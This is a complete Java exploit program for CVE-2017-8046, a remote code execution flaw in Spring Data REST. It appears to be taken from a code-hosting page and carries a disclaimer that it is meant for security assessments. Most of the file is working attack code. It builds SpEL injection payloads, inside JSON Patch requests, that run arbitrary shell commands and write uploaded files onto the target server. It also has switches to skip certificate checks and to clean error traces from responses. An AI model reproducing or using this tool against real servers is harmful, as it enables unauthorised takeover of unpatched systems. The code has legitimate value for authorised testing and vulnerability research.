652 lines
24 KiB
Java
652 lines
24 KiB
Java
// Exploit Title: RCE in PATCH requests in Spring Data REST
|
|
// Date: 2018-03-10
|
|
// Exploit Author: Antonio Francesco Sardella
|
|
// Vendor Homepage: https://pivotal.io/
|
|
// Software Link: https://projects.spring.io/spring-data-rest/
|
|
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
|
|
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
|
|
// CVE: CVE-2017-8046
|
|
// Category: Webapps
|
|
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
|
|
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
|
|
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com
|
|
|
|
package com.afs.exploit.spring;
|
|
|
|
import java.io.BufferedReader;
|
|
import java.io.File;
|
|
import java.io.IOException;
|
|
import java.io.InputStreamReader;
|
|
import java.net.URI;
|
|
import java.net.URISyntaxException;
|
|
import java.util.ArrayList;
|
|
import java.util.List;
|
|
|
|
import org.apache.commons.codec.binary.Base64;
|
|
import org.apache.commons.io.FileUtils;
|
|
import org.apache.http.HttpResponse;
|
|
import org.apache.http.client.HttpClient;
|
|
import org.apache.http.client.methods.HttpPatch;
|
|
import org.apache.http.entity.StringEntity;
|
|
import org.apache.http.impl.client.HttpClientBuilder;
|
|
import org.apache.http.ssl.SSLContextBuilder;
|
|
import org.apache.http.conn.ssl.TrustSelfSignedStrategy;
|
|
import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
|
|
import org.apache.http.conn.ssl.NoopHostnameVerifier;
|
|
|
|
/**
|
|
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
|
|
* This software is written to have as less external dependencies as possible.
|
|
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
|
|
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
|
|
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
|
|
* ..................
|
|
* . CVE-ID ........: CVE-2017-8046
|
|
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
|
|
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
|
|
* .................. versions prior to 2.5.12, 2.6.9, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
|
|
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
|
|
* .................. Java code.
|
|
* ..................
|
|
*
|
|
* @author Antonio Francesco Sardella
|
|
*/
|
|
public class SpringBreakCve20178046 {
|
|
|
|
/**
|
|
* Version string.
|
|
*/
|
|
private static final String VERSION = "v1.6 (2018-10-13)";
|
|
|
|
/**
|
|
* The JSON Patch object.
|
|
*/
|
|
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"remove\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";
|
|
|
|
/**
|
|
* This is a way to bypass the split and 'replace'
|
|
* logic performed by the framework on slashes.
|
|
*/
|
|
private static String SLASH = "(new java.lang.String(new char[]{0x2F}))";
|
|
|
|
/**
|
|
* Malicious SpEL-script for executing commands.
|
|
*/
|
|
private static String COMMAND_PAYLOAD;
|
|
static {
|
|
COMMAND_PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
|
|
COMMAND_PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
|
|
COMMAND_PAYLOAD += "(";
|
|
COMMAND_PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
|
|
COMMAND_PAYLOAD += "?";
|
|
COMMAND_PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
|
|
COMMAND_PAYLOAD += ":";
|
|
COMMAND_PAYLOAD += "\\\"\\\"";
|
|
COMMAND_PAYLOAD += ")+";
|
|
COMMAND_PAYLOAD += "%s"; // The encoded command will be placed here.
|
|
COMMAND_PAYLOAD += ").get%sStream()";
|
|
COMMAND_PAYLOAD += ",";
|
|
COMMAND_PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
|
|
COMMAND_PAYLOAD += ".getResponse().getOutputStream()";
|
|
COMMAND_PAYLOAD += ").x";
|
|
}
|
|
|
|
/**
|
|
* Malicious SpEL-script for uploading files (like scripts, binaries, etc).
|
|
*/
|
|
private static String FILEUPLOAD_PAYLOAD;
|
|
static {
|
|
// Classes java.nio.file.* are only available in Java 7+.
|
|
FILEUPLOAD_PAYLOAD = "T(java.nio.file.Files).write(";
|
|
FILEUPLOAD_PAYLOAD += "T(java.nio.file.Paths).get(%s),";
|
|
FILEUPLOAD_PAYLOAD += "T(java.util.Base64).getDecoder().decode(\\\"%s\\\")";
|
|
FILEUPLOAD_PAYLOAD += ").x";
|
|
}
|
|
|
|
/**
|
|
* Error cause string that can be used to "clean the response."
|
|
*/
|
|
private static String ERROR_CAUSE = "{\"cause";
|
|
|
|
/**
|
|
* Constant that will be used to get input stream.
|
|
*/
|
|
private static String INPUT_STREAM = "Input";
|
|
|
|
/**
|
|
* Constant that will be used to get error stream.
|
|
*/
|
|
private static String ERROR_STREAM = "Error";
|
|
|
|
/**
|
|
* The target URL.
|
|
*/
|
|
private URI url;
|
|
|
|
/**
|
|
* Whether to skipSSL or not, default set to false
|
|
*/
|
|
private boolean skipSSL;
|
|
|
|
/**
|
|
* The command that will be executed on the remote machine.
|
|
*/
|
|
private String command;
|
|
|
|
/**
|
|
* Cookies that will be passed.
|
|
*/
|
|
private String cookies;
|
|
|
|
/**
|
|
* Flag used to remove error messages in output due to
|
|
* the usage of the exploit. It could hide error messages
|
|
* if the request fails for other reasons.
|
|
*/
|
|
private boolean cleanResponse;
|
|
|
|
/**
|
|
* This flag can be used to retrieve the error stream
|
|
* in case the launched remote command fails unexpectedly.
|
|
*/
|
|
private boolean errorStream;
|
|
|
|
/**
|
|
* Verbosity flag.
|
|
*/
|
|
private boolean verbose;
|
|
|
|
/**
|
|
* Custom headers that will be passed.
|
|
*/
|
|
private List<String> customHeaders = new ArrayList<String>();
|
|
|
|
/**
|
|
* Path that will point to a file on the local filesystem, which will
|
|
* be uploaded. Uploads cannot be used in conjunction with commands in the
|
|
* same request.
|
|
*/
|
|
private File localFileToUpload;
|
|
|
|
/**
|
|
* Server will upload the file to this location, e.g. /tmp or C:\TEMP. This path
|
|
* will be encoded to ensure that Spring will not convert slashes to dots.
|
|
*/
|
|
private String remoteUploadDirectory;
|
|
|
|
/**
|
|
* Default constructor.
|
|
*/
|
|
public SpringBreakCve20178046() {
|
|
this.verbose = false;
|
|
this.cleanResponse = false;
|
|
this.errorStream = false;
|
|
this.skipSSL = false;
|
|
}
|
|
|
|
/**
|
|
* Performs the exploit.
|
|
*
|
|
* @throws IOException
|
|
* If something bad occurs during HTTP GET.
|
|
*/
|
|
public void exploit() throws IOException {
|
|
checkInput();
|
|
printInput();
|
|
String payload = preparePayload();
|
|
String response = httpPatch(payload);
|
|
printOutput(response);
|
|
}
|
|
|
|
/**
|
|
* Checks the input.
|
|
*/
|
|
private void checkInput() {
|
|
if (this.url == null) {
|
|
throw new IllegalArgumentException("URL must be passed.");
|
|
}
|
|
|
|
if ((isEmpty(this.command) && this.localFileToUpload == null) || (!isEmpty(this.command) && this.localFileToUpload != null)) {
|
|
throw new IllegalArgumentException("Either a command must be passed, or a file must be selected for upload.");
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Prints input if verbose flag is true.
|
|
*/
|
|
private void printInput() {
|
|
if (isVerbose()) {
|
|
System.out.println("[*] Target URL ........: " + this.url);
|
|
if (!isEmpty(this.command)) {
|
|
System.out.println("[*] Command ...........: " + this.command);
|
|
}
|
|
if (this.localFileToUpload != null) {
|
|
System.out.println("[*] File to upload ....: " + this.localFileToUpload.getAbsolutePath());
|
|
if (!isEmpty(this.remoteUploadDirectory)) {
|
|
System.out.println("[*] Remote upload dir .: " + this.remoteUploadDirectory);
|
|
}
|
|
}
|
|
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
|
|
System.out.println("[*] Headers ...........: " + (this.customHeaders == null || this.customHeaders.isEmpty() ? "(no headers)" : "(" + this.customHeaders.size() + " headers)"));
|
|
if (this.customHeaders != null && !this.customHeaders.isEmpty()) {
|
|
for (String header : this.customHeaders) {
|
|
System.out.println(" > " + header);
|
|
}
|
|
}
|
|
System.out.println("[*] Clean response ....: " + this.cleanResponse);
|
|
System.out.println("[*] Ret error stream ..: " + this.errorStream);
|
|
System.out.println("[*] Verbose ...........: " + this.verbose);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Prepares the payload.
|
|
*
|
|
* @return The malicious payload that will be injected.
|
|
*/
|
|
private String preparePayload() {
|
|
System.out.println("[*] Preparing payload.");
|
|
String payload = null;
|
|
|
|
// Send a command to the server:
|
|
if (!isEmpty(this.command)) {
|
|
String encodedCommand = encode(this.command); // Encoding inserted command.
|
|
String maliciousSpEL = String.format(COMMAND_PAYLOAD, encodedCommand, isErrorStream() ? ERROR_STREAM : INPUT_STREAM);
|
|
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL); // Placing payload into JSON Patch object.
|
|
}
|
|
|
|
// Upload a file to the server:
|
|
else if (this.localFileToUpload != null) {
|
|
try {
|
|
// Remote preparing filename / directory.
|
|
String filename = this.localFileToUpload.getName();
|
|
if (remoteUploadDirectory != null) {
|
|
filename = remoteUploadDirectory + filename;
|
|
filename = encode(filename);
|
|
}
|
|
|
|
// Reading file content to byte[] instead of string avoids potential text encoding issues.
|
|
byte[] rawFileContent = FileUtils.readFileToByteArray(this.localFileToUpload);
|
|
String encodedFileContent = Base64.encodeBase64String(rawFileContent);
|
|
String maliciousSpEL = String.format(FILEUPLOAD_PAYLOAD, filename, encodedFileContent);
|
|
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL);
|
|
|
|
} catch (IOException e) {
|
|
throw new RuntimeException(e);
|
|
}
|
|
}
|
|
|
|
if (isVerbose()) {
|
|
System.out.println("[*] Payload ...........: " + payload);
|
|
}
|
|
|
|
return payload;
|
|
}
|
|
|
|
/**
|
|
* Encodes the inserted command.
|
|
*
|
|
* @return The encoded command.
|
|
*/
|
|
private String encode(String command) {
|
|
StringBuffer encodedCommand = new StringBuffer("(new java.lang.String(new char[]{");
|
|
|
|
int commandLength = command.length();
|
|
for (int i = 0; i < commandLength; i++) {
|
|
encodedCommand.append((int) command.charAt(i));
|
|
if (i + 1 < commandLength) {
|
|
encodedCommand.append(",");
|
|
}
|
|
}
|
|
|
|
encodedCommand.append("}))");
|
|
|
|
if (isVerbose()) {
|
|
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
|
|
}
|
|
|
|
return encodedCommand.toString();
|
|
}
|
|
|
|
/**
|
|
* HTTP PATCH operation on the target passing the malicious payload.
|
|
*
|
|
* @param payload
|
|
* The malicious payload.
|
|
* @return The response as a string.
|
|
* @throws IOException
|
|
* If something bad occurs during HTTP GET.
|
|
*/
|
|
private String httpPatch(String payload) throws IOException {
|
|
System.out.println("[*] Sending payload.");
|
|
|
|
// Preparing PATCH operation.
|
|
HttpClientBuilder clientBuilder = HttpClientBuilder.create();
|
|
|
|
// Disable SSL Verification
|
|
if(this.url.getScheme().equalsIgnoreCase("https") && this.skipSSL){
|
|
try{
|
|
SSLContextBuilder sslBuilder = new SSLContextBuilder();
|
|
sslBuilder.loadTrustMaterial(null, new TrustSelfSignedStrategy());
|
|
// Since certificates contain hostnames, not ip addresses, if we try https://ipAddress
|
|
// a SSLPeerUnverifiedException would be thrown because hostname in certificate does not match
|
|
// ip used in https://ipAddress, to avoid that error we need to use the overloaded constructor taking as second arg NoopHostnameVerifier.
|
|
SSLConnectionSocketFactory sslConnectionFactory = new SSLConnectionSocketFactory(sslBuilder.build(), NoopHostnameVerifier.INSTANCE);
|
|
clientBuilder.setSSLSocketFactory(sslConnectionFactory);
|
|
} catch(Exception exception) {
|
|
// Errors that may be thrown: KeyManagementException, KeyStoreException, NoSuchAlgorithmException, SSLPeerUnverifiedException
|
|
throw new RuntimeException(exception);
|
|
}
|
|
}
|
|
|
|
HttpClient client = clientBuilder.build();
|
|
|
|
HttpPatch patch = new HttpPatch(this.url);
|
|
patch.setHeader("User-Agent", "Mozilla/5.0");
|
|
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
|
|
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
|
|
if (!isEmpty(this.cookies)) {
|
|
patch.setHeader("Cookie", this.cookies);
|
|
}
|
|
if (!customHeaders.isEmpty()) {
|
|
for (String header : this.customHeaders) {
|
|
String key = header.split(":")[0];
|
|
String value = header.split(":")[1];
|
|
patch.setHeader(key, value);
|
|
}
|
|
}
|
|
patch.setEntity(new StringEntity(payload));
|
|
|
|
// Response string.
|
|
StringBuffer response = new StringBuffer();
|
|
|
|
// Executing PATCH operation.
|
|
HttpResponse httpResponse = client.execute(patch);
|
|
if (httpResponse != null) {
|
|
|
|
// Reading response code.
|
|
if (httpResponse.getStatusLine() != null) {
|
|
int responseCode = httpResponse.getStatusLine().getStatusCode();
|
|
System.out.println("[*] HTTP " + responseCode);
|
|
} else {
|
|
System.out.println("[!] HTTP response code can't be read.");
|
|
}
|
|
|
|
// Reading response content.
|
|
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
|
|
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
|
|
String inputLine;
|
|
|
|
while ((inputLine = in.readLine()) != null) {
|
|
response.append(inputLine);
|
|
response.append(System.getProperty("line.separator"));
|
|
}
|
|
in.close();
|
|
} else {
|
|
System.out.println("[!] HTTP response content can't be read.");
|
|
}
|
|
|
|
} else {
|
|
System.out.println("[!] HTTP response is null.");
|
|
}
|
|
|
|
return response.toString();
|
|
}
|
|
|
|
/**
|
|
* Prints output.
|
|
*
|
|
* @param response
|
|
* Response that will be printed.
|
|
*/
|
|
private void printOutput(String response) {
|
|
if (!isEmpty(response)) {
|
|
System.out.println("[*] vvv Response vvv");
|
|
|
|
// Cleaning response (if possible).
|
|
if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
|
|
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
|
|
System.out.println(cleanedResponse);
|
|
} else {
|
|
System.out.println(response);
|
|
}
|
|
|
|
System.out.println("[*] ^^^ ======== ^^^");
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Checks if an input string is null/empty or not.
|
|
*
|
|
* @param input
|
|
* The input string to check.
|
|
* @return True if the string is null or empty, false otherwise.
|
|
*/
|
|
private boolean isEmpty(String input) {
|
|
boolean isEmpty;
|
|
|
|
if (input == null || input.trim().length() < 1) {
|
|
isEmpty = true;
|
|
} else {
|
|
isEmpty = false;
|
|
}
|
|
|
|
return isEmpty;
|
|
}
|
|
|
|
/* Getters and setters. */
|
|
|
|
public boolean isVerbose() {
|
|
return verbose;
|
|
}
|
|
|
|
public void setVerbose(boolean verbose) {
|
|
this.verbose = verbose;
|
|
}
|
|
|
|
public void setUrl(String url) throws URISyntaxException {
|
|
if (isEmpty(url)) {
|
|
throw new IllegalArgumentException("URL must be not null and not empty.");
|
|
}
|
|
|
|
this.url = new URI(url.trim());
|
|
}
|
|
|
|
public void setCommand(String command) {
|
|
if (isEmpty(command)) {
|
|
throw new IllegalArgumentException("Command must be not null and not empty.");
|
|
}
|
|
|
|
this.command = command.trim();
|
|
}
|
|
|
|
public void setCookies(String cookies) {
|
|
if (cookies != null) {
|
|
cookies = cookies.trim();
|
|
}
|
|
|
|
this.cookies = cookies;
|
|
}
|
|
|
|
public void setSkipSSL(boolean skipSSL){
|
|
this.skipSSL = skipSSL;
|
|
}
|
|
|
|
public void setCustomHeader(String customHeader) {
|
|
if (customHeader != null && customHeader.contains(":") && !customHeader.startsWith(":") && !customHeader.endsWith(":")) {
|
|
customHeader = customHeader.trim();
|
|
this.customHeaders.add(customHeader);
|
|
}
|
|
}
|
|
|
|
public boolean isCleanResponse() {
|
|
return cleanResponse;
|
|
}
|
|
|
|
public void setCleanResponse(boolean cleanResponse) {
|
|
this.cleanResponse = cleanResponse;
|
|
}
|
|
|
|
public boolean isErrorStream() {
|
|
return errorStream;
|
|
}
|
|
|
|
public void setErrorStream(boolean errorStream) {
|
|
this.errorStream = errorStream;
|
|
}
|
|
|
|
public void setLocalFileToUpload(String localFileToUpload) {
|
|
if (isEmpty(localFileToUpload)) {
|
|
throw new IllegalArgumentException("Filename must not be null and not empty.");
|
|
}
|
|
|
|
File upload = new File(localFileToUpload);
|
|
if (!upload.exists() || !upload.isFile() || !upload.canRead()) {
|
|
throw new IllegalArgumentException("File to upload does not exist or is not readable: " + upload.getAbsolutePath());
|
|
}
|
|
|
|
this.localFileToUpload = upload;
|
|
}
|
|
|
|
public void setRemoteUploadDirectory(String remoteUploadDirectory) {
|
|
if (!remoteUploadDirectory.endsWith("/")) {
|
|
remoteUploadDirectory += "/";
|
|
}
|
|
this.remoteUploadDirectory = remoteUploadDirectory;
|
|
}
|
|
|
|
/**
|
|
* Shows the program help.
|
|
*/
|
|
public static final void help() {
|
|
System.out.println("Usage:");
|
|
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
|
|
System.out.println("Description:");
|
|
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
|
|
System.out.println("Options:");
|
|
System.out.println(" -h, --help");
|
|
System.out.println(" Prints this help and exits.");
|
|
System.out.println(" -u, --url [target_URL]");
|
|
System.out.println(" The target URL where the exploit will be performed.");
|
|
System.out.println(" You have to choose an existent resource.");
|
|
System.out.println(" -cmd, --command [command_to_execute]");
|
|
System.out.println(" The command that will be executed on the remote machine.");
|
|
System.out.println(" -U, --upload [file_to_upload]");
|
|
System.out.println(" File to upload to the remote machine. Will be uploaded to the current working");
|
|
System.out.println(" directory of the Java process. Warning: this will only succeed on a server running");
|
|
System.out.println(" JRE-1.7 or later.");
|
|
System.out.println(" --remote-upload-directory [/some/existing/path/]");
|
|
System.out.println(" Optional. Server will attempt to write the uploaded file to this directory on the");
|
|
System.out.println(" filesystem. Specified directory must exist and be writeable.");
|
|
System.out.println(" --cookies [cookies]");
|
|
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
|
|
System.out.println(" -H, --header [custom_header]");
|
|
System.out.println(" Optional. Custom header passed into the request, e.g. authorization header.");
|
|
System.out.println(" -k");
|
|
System.out.println(" Skip SSL validation");
|
|
System.out.println(" --clean");
|
|
System.out.println(" Optional. Removes error messages in output due to the usage of the");
|
|
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
|
|
System.out.println(" --error-stream");
|
|
System.out.println(" Optional. In case of errors the command will fail and the error stream will");
|
|
System.out.println(" not be returned. This option can be used to relaunch the remote command");
|
|
System.out.println(" returning the error stream.");
|
|
System.out.println(" -v, --verbose");
|
|
System.out.println(" Optional. Increase verbosity.");
|
|
}
|
|
|
|
/**
|
|
* Main method.
|
|
*
|
|
* @param args
|
|
* Input arguments
|
|
*/
|
|
public static void main(String[] args) {
|
|
try {
|
|
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
|
|
SpringBreakCve20178046 o = new SpringBreakCve20178046();
|
|
|
|
if (args.length > 0) {
|
|
for (int i = 0; i < args.length; i++) {
|
|
|
|
String p = args[i];
|
|
|
|
if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
|
|
SpringBreakCve20178046.help();
|
|
return;
|
|
} else if ("-u".equals(p) || "--url".equals(p)) {
|
|
|
|
if (i + 1 > args.length - 1) {
|
|
throw new IllegalArgumentException("URL must be passed.");
|
|
}
|
|
o.setUrl(args[++i]);
|
|
|
|
} else if ("-U".equals(p) || "--upload".equals(p)) {
|
|
|
|
if (i + 1 > args.length - 1) {
|
|
throw new IllegalArgumentException("File must be passed, if specified.");
|
|
}
|
|
o.setLocalFileToUpload(args[++i].trim());
|
|
|
|
} else if ("--remote-upload-directory".equals(p)) {
|
|
|
|
if (i + 1 > args.length - 1) {
|
|
throw new IllegalArgumentException("Remote directory must be passed, if specified.");
|
|
}
|
|
o.setRemoteUploadDirectory(args[++i].trim());
|
|
|
|
} else if ("-cmd".equals(p) || "--command".equals(p)) {
|
|
|
|
if (i + 1 > args.length - 1) {
|
|
throw new IllegalArgumentException("Command must be passed.");
|
|
}
|
|
o.setCommand(args[++i]);
|
|
|
|
} else if ("--cookies".equals(p)) {
|
|
|
|
if (i + 1 > args.length - 1) {
|
|
throw new IllegalArgumentException("Cookies must be passed, if specified.");
|
|
}
|
|
o.setCookies(args[++i]);
|
|
|
|
} else if ("-k".equals(p)) {
|
|
|
|
o.setSkipSSL(true);
|
|
|
|
} else if ("-H".equals(p) || "--header".equals(p)) {
|
|
|
|
if (i + 1 > args.length - 1) {
|
|
throw new IllegalArgumentException("Custom header must be passed, if specified.");
|
|
}
|
|
o.setCustomHeader(args[++i]);
|
|
|
|
} else if ("--clean".equals(p)) {
|
|
o.setCleanResponse(true);
|
|
} else if ("--error-stream".equals(p)) {
|
|
o.setErrorStream(true);
|
|
} else if ("-v".equals(p) || "--verbose".equals(p)) {
|
|
o.setVerbose(true);
|
|
}
|
|
|
|
}
|
|
|
|
// Performing the exploit.
|
|
o.exploit();
|
|
|
|
} else { // Wrong number of arguments.
|
|
SpringBreakCve20178046.help();
|
|
return;
|
|
}
|
|
|
|
} catch (URISyntaxException use) {
|
|
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
|
|
} catch (IllegalArgumentException iae) {
|
|
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
|
|
} catch (Exception e) {
|
|
System.out.println("[!] Unexpected exception: " + e.getMessage());
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
|
|
}
|